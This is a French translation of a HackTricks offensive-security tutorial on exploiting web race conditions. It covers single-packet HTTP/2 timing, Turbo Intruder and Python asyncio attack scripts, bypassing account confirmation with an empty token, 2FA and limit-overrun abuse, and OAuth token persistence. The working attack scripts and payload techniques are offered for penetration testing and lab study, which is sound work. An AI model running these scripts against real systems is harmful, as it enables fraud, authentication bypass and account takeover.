27 KiB
Condition de course
Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Exploitation de la condition de course
Le principal problème de l'exploitation des conditions de course est que vous avez besoin que les requêtes soient traitées en parallèle avec une très courte différence de temps (généralement >1ms). Dans la section suivante, différentes solutions sont proposées pour rendre cela possible.
Attaque à un seul paquet (HTTP/2) / Synchronisation du dernier octet (HTTP/1.1)
HTTP2 permet d'envoyer 2 requêtes dans une seule connexion TCP (alors que dans HTTP/1.1, elles doivent être séquentielles).
L'utilisation d'un seul paquet TCP élimine complètement l'effet du jitter du réseau, il y a donc clairement un potentiel pour les attaques par condition de course. Cependant, deux requêtes ne suffisent pas pour une attaque de course fiable grâce au jitter côté serveur - variations du temps de traitement des requêtes de l'application causées par des variables incontrôlables telles que la contention du processeur.
Mais, en utilisant la technique de 'synchronisation du dernier octet' d'HTTP/1.1, il est possible d'envoyer préalablement la majeure partie des données en retenant un petit fragment de chaque requête, puis de 'compléter' 20 à 30 requêtes avec un seul paquet TCP.
Pour envoyer préalablement la majeure partie de chaque requête :
- Si la requête n'a pas de corps, envoyez tous les en-têtes, mais ne définissez pas le drapeau END_STREAM. Retenez un cadre de données vide avec le drapeau END_STREAM défini.
- Si la requête a un corps, envoyez les en-têtes et toutes les données du corps sauf le dernier octet. Retenez un cadre de données contenant le dernier octet.
Ensuite, préparez-vous à envoyer les trames finales :
- Attendez 100 ms pour vous assurer que les trames initiales ont été envoyées.
- Assurez-vous que TCP_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les trames finales.
- Envoyez un paquet ping pour réchauffer la connexion locale. Si vous ne le faites pas, la pile réseau du système d'exploitation placera la première trame finale dans un paquet séparé.
Enfin, envoyez les trames retenues. Vous devriez pouvoir vérifier qu'elles sont arrivées dans un seul paquet en utilisant Wireshark.
{% hint style="info" %} Notez que cela ne fonctionne pas pour les fichiers statiques sur certains serveurs, mais les fichiers statiques ne sont pas pertinents pour les attaques par condition de course. Mais les fichiers statiques sont sans importance pour les attaques RC. {% endhint %}
En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes arrivent simultanément sur le serveur - indépendamment du jitter du réseau :
Adaptation à l'architecture cible
Il est important de noter que de nombreuses applications se trouvent derrière un serveur frontal, et celui-ci peut décider de transférer certaines requêtes sur des connexions existantes vers l'arrière-plan, et de créer de nouvelles connexions pour d'autres.
Par conséquent, il est important de ne pas attribuer des délais de requête incohérents au comportement de l'application, tel que des mécanismes de verrouillage qui n'autorisent qu'un seul thread à accéder à une ressource à la fois. De plus, le routage des requêtes côté frontal est souvent effectué sur une base de connexion, vous pouvez donc lisser le délai des requêtes en effectuant un préchauffage de la connexion côté serveur - envoyer quelques requêtes insignifiantes sur votre connexion avant de lancer l'attaque (il s'agit simplement d'envoyer plusieurs requêtes avant de commencer l'attaque proprement dite).
Mécanismes de verrouillage basés sur la session
Certains frameworks tentent de prévenir la corruption accidentelle des données en utilisant une forme de verrouillage de requête. Par exemple, le module de gestionnaire de session natif de PHP ne traite qu'une seule requête par session à la fois.
Il est extrêmement important de repérer ce type de comportement, car il peut masquer des vulnérabilités facilement exploitables. Si vous remarquez que toutes vos requêtes sont traitées séquentiellement, essayez de les envoyer chacune avec un jeton de session différent.
Abus des limites de taux ou de ressources
Si le réchauffement de la connexion ne fait aucune différence, il existe différentes solutions à ce problème.
En utilisant Turbo Intruder, vous pouvez introduire un léger délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque en un seul paquet. Par conséquent, sur des cibles à forte gigue, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
Au lieu de cela, vous pouvez résoudre ce problème en abusant d'une fonctionnalité de sécurité courante.
Les serveurs Web retardent souvent le traitement des requêtes s'il en est envoyé trop rapidement. En envoyant un grand nombre de requêtes factices pour déclencher intentionnellement la limite de taux ou de ressources, vous pouvez provoquer un délai approprié côté serveur. Cela rend l'attaque en un seul paquet viable même lorsque l'exécution retardée est nécessaire.
{% hint style="warning" %} Pour plus d'informations sur cette technique, consultez le rapport original sur https://portswigger.net/research/smashing-the-state-machine {% endhint %}
Exemples d'attaque
- Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point d'extrémité): Vous pouvez envoyer la requête à Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), vous pouvez modifier dans la requête la valeur que vous souhaitez forcer pour%s
comme danscsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
puis sélectionnezexamples/race-single-packer-attack.py
dans la liste déroulante :
Si vous allez envoyer différentes valeurs, vous pouvez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Si le site web ne prend pas en charge HTTP2 (seulement HTTP1.1), utilisez Engine.THREADED
ou Engine.BURP
à la place de Engine.BURP2
.
{% endhint %}
- Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points d'extrémité): Si vous avez besoin d'envoyer une requête à un point d'extrémité, puis plusieurs à d'autres points d'extrémité pour déclencher l'exécution de code à distance (RCE), vous pouvez modifier le script
race-single-packet-attack.py
comme suit:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Il est également disponible dans Repeater via la nouvelle option 'Envoyer le groupe en parallèle' dans Burp Suite.
- Pour dépasser la limite, vous pouvez simplement ajouter la même requête 50 fois dans le groupe.
- Pour chauffer la connexion, vous pouvez ajouter au début du groupe quelques requêtes vers une partie non statique du serveur web.
- Pour retarder le processus entre le traitement d'une requête et d'une autre en deux étapes de sous-états, vous pouvez ajouter des requêtes supplémentaires entre les deux requêtes.
- Pour un RC à multi-point d'extrémité, vous pouvez commencer par envoyer la requête qui va vers l'état caché puis 50 requêtes juste après qui exploitent l'état caché.
BF brut
Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
- Repeater: Consultez les exemples de la section précédente.
- Intruder: Envoyez la requête à Intruder, définissez le nombre de threads sur 30 dans le menu Options, sélectionnez comme charge utile Null payloads et générez 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
La bibliothèque asyncio
de Python est utilisée pour écrire du code asynchrone de manière concurrente. Elle permet d'exécuter des tâches en parallèle, ce qui est particulièrement utile pour les opérations d'entrée/sortie (I/O) intensives, telles que les requêtes réseau.
L'asynchronisme est un concept clé dans la programmation concurrente, car il permet d'exécuter plusieurs tâches en même temps sans bloquer l'exécution du programme. Cela signifie que les tâches peuvent être exécutées de manière indépendante et que le programme peut passer à autre chose pendant que les tâches sont en cours d'exécution.
La bibliothèque asyncio
utilise des coroutines pour gérer les tâches asynchrones. Une coroutine est une fonction spéciale qui peut être suspendue et reprise ultérieurement. Cela permet d'exécuter plusieurs coroutines en parallèle, ce qui facilite la gestion des tâches asynchrones.
L'un des avantages de asyncio
est qu'il permet de gérer facilement les problèmes de concurrence, tels que les conditions de course. Une condition de course se produit lorsqu'il y a un conflit entre plusieurs tâches qui tentent d'accéder ou de modifier une ressource partagée en même temps. Cela peut entraîner des résultats imprévisibles ou indésirables.
Pour éviter les conditions de course, asyncio
fournit des mécanismes tels que les verrous (locks) et les sémaphores. Ces mécanismes permettent de synchroniser l'accès aux ressources partagées, en garantissant qu'une seule tâche peut y accéder à la fois.
En résumé, la bibliothèque asyncio
de Python est un outil puissant pour écrire du code asynchrone et gérer les problèmes de concurrence tels que les conditions de course. Elle facilite l'exécution de tâches en parallèle et permet d'améliorer les performances des applications qui effectuent des opérations d'entrée/sortie intensives.
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Méthodologie RC
Dépassement de limite / TOCTOU
Il s'agit du type le plus basique de condition de concurrence où des vulnérabilités apparaissent dans des endroits qui limitent le nombre de fois où vous pouvez effectuer une action. Par exemple, utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans ce rapport ou dans ce bogue.
Il existe de nombreuses variations de ce type d'attaque, notamment :
- Utiliser plusieurs fois une carte-cadeau
- Noter un produit plusieurs fois
- Retirer ou transférer de l'argent en excédent de votre solde de compte
- Réutiliser une solution CAPTCHA unique
- Contourner une limite de taux anti-brute-force
Sous-états cachés
Les RC les plus complexes exploiteront des sous-états dans l'état de la machine qui pourraient permettre à un attaquant d'abuser d'états auxquels il n'était jamais censé avoir accès, mais il existe une petite fenêtre pour que l'attaquant y accède.
- Prédire les sous-états cachés et intéressants potentiels
La première étape consiste à identifier tous les points d'extrémité qui écrivent ou lisent des données à partir de ceux-ci, puis utilisent ces données pour quelque chose d'important. Par exemple, les utilisateurs peuvent être stockés dans une table de base de données qui est modifiée lors de l'inscription, de la modification du profil, de l'initiation de la réinitialisation du mot de passe et de la finalisation de la réinitialisation du mot de passe.
Nous pouvons utiliser trois questions clés pour exclure les points d'extrémité qui sont peu susceptibles de provoquer des collisions. Pour chaque objet et les points d'extrémité associés, demandez-vous :
- Comment l'état est-il stocké ?
Les données stockées dans une structure de données côté serveur persistante sont idéales pour l'exploitation. Certains points d'extrémité stockent leur état entièrement côté client, comme les réinitialisations de mot de passe qui fonctionnent en envoyant un JWT par e-mail - ceux-ci peuvent être ignorés en toute sécurité.
Les applications stockent souvent certains états dans la session utilisateur. Ceux-ci sont souvent quelque peu protégés contre les sous-états - nous en parlerons plus tard.
- Effectuons-nous une modification ou un ajout ?
Les opérations qui modifient des données existantes (comme le changement de l'adresse e-mail principale d'un compte) ont un potentiel de collision important, tandis que les actions qui se contentent d'ajouter des données existantes (comme l'ajout d'une adresse e-mail supplémentaire) sont peu susceptibles d'être vulnérables à autre chose qu'à des attaques de dépassement de limite.
- Sur quoi l'opération est-elle basée ?
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une « clé », telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
- Rechercher des indices
À ce stade, il est temps de lancer des attaques RC sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats habituels. Toute déviation de la réponse attendue, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
- Prouver le concept
La dernière étape consiste à prouver le concept et à le transformer en une attaque viable.
Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de requêtes initiale déclenche un état final vulnérable, mais que les requêtes ultérieures l'écrasent/invalident et que l'état final n'est pas exploitable. Dans ce scénario, vous voudrez éliminer toutes les requêtes inutiles - deux devraient suffire pour exploiter la plupart des vulnérabilités. Cependant, passer à deux requêtes rendra l'attaque plus sensible au timing, vous devrez donc peut-être réessayer l'attaque plusieurs fois ou l'automatiser.
Attaques sensibles au temps
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les techniques de livraison de requêtes avec une synchronisation précise peuvent toujours révéler la présence d'autres vulnérabilités.
Un exemple est lorsque des horodatages haute résolution sont utilisés au lieu de chaînes aléatoires cryptographiquement sécurisées pour générer des jetons de sécurité.
Considérons un jeton de réinitialisation de mot de passe qui n'est aléatoire qu'à l'aide d'un horodatage. Dans ce cas, il pourrait être possible de déclencher deux réinitialisations de mot de passe pour deux utilisateurs différents, qui utilisent tous deux le même jeton. Il vous suffit de synchroniser les requêtes de manière à ce qu'elles génèrent le même horodatage.
{% hint style="warning" %} Pour confirmer par exemple la situation précédente, vous pourriez simplement demander 2 jetons de réinitialisation de mot de passe en même temps (en utilisant une attaque à paquet unique) et vérifier s'ils sont identiques. {% endhint %}
Consultez l'exemple dans ce laboratoire.
Études de cas sur les sous-états cachés
Payer et ajouter un article
Consultez ce laboratoire pour voir comment payer dans un magasin et ajouter un article supplémentaire pour lequel vous n'aurez pas besoin de payer.
Confirmer d'autres e-mails
L'idée est de vérifier une adresse e-mail et de la changer en une autre en même temps pour savoir si la plateforme vérifie la nouvelle adresse modifiée.
Changer l'e-mail en 2 adresses e-mail basées sur les cookies
Selon cet article, Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait envoyer le jeton de vérification d'e-mail d'un e-mail à l'autre.
Vous pouvez également consulter ce laboratoire pour en savoir plus à ce sujet.
États cachés de la base de données / Contournement de confirmation
Si 2 écritures différentes sont utilisées pour ajouter des informations dans une base de données, il existe une petite période de temps où seules les premières données ont été écrites dans la base de données. Par exemple, lors de la création d'un utilisateur, le nom d'utilisateur et le mot de passe peuvent être écrits, puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le jeton pour confirmer un compte est nul.
Par conséquent, enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide (token=
ou token[]=
ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de confirmer un compte dont vous ne contrôlez pas l'e-mail.
Consultez ce laboratoire pour voir un exemple.
Contourner l'authentification à deux facteurs (2FA)
Le pseudo-code suivant montre comment un site web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
Comme vous pouvez le voir, il s'agit en fait d'une séquence en plusieurs étapes dans le cadre d'une seule requête. Plus important encore, elle passe par un sous-état dans lequel l'utilisateur dispose temporairement d'une session valide connectée, mais où la MFA n'est pas encore appliquée. Un attaquant pourrait potentiellement exploiter cela en envoyant une demande de connexion accompagnée d'une demande à un point de terminaison sensible et authentifié.
Persistance éternelle d'OAuth2
Il existe plusieurs fournisseurs OAuth. Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés auprès du fournisseur. Pour ce faire, le client devra autoriser votre application à accéder à certaines de leurs données à l'intérieur du fournisseur OAuth.
Jusqu'ici, il s'agit simplement d'une connexion classique avec Google/LinkedIn/GitHub... où vous êtes invité avec une page indiquant : "L'application <InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?"
Course condition dans authorization_code
Le problème survient lorsque vous l'acceptez et envoyez automatiquement un authorization_code
à l'application malveillante. Ensuite, cette application exploite une course condition dans le fournisseur de services OAuth pour générer plus d'un AT/RT (Authentication Token/Refresh Token) à partir du authorization_code
pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de créer plusieurs comptes. Ensuite, si vous arrêtez d'autoriser l'application à accéder à vos données, une paire AT/RT sera supprimée, mais les autres resteront valides.
Course condition dans Refresh Token
Une fois que vous avez obtenu un RT valide, vous pouvez essayer de l'exploiter pour générer plusieurs AT/RT et même si l'utilisateur annule les autorisations pour l'application malveillante d'accéder à ses données, plusieurs RT resteront valides.
Références
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}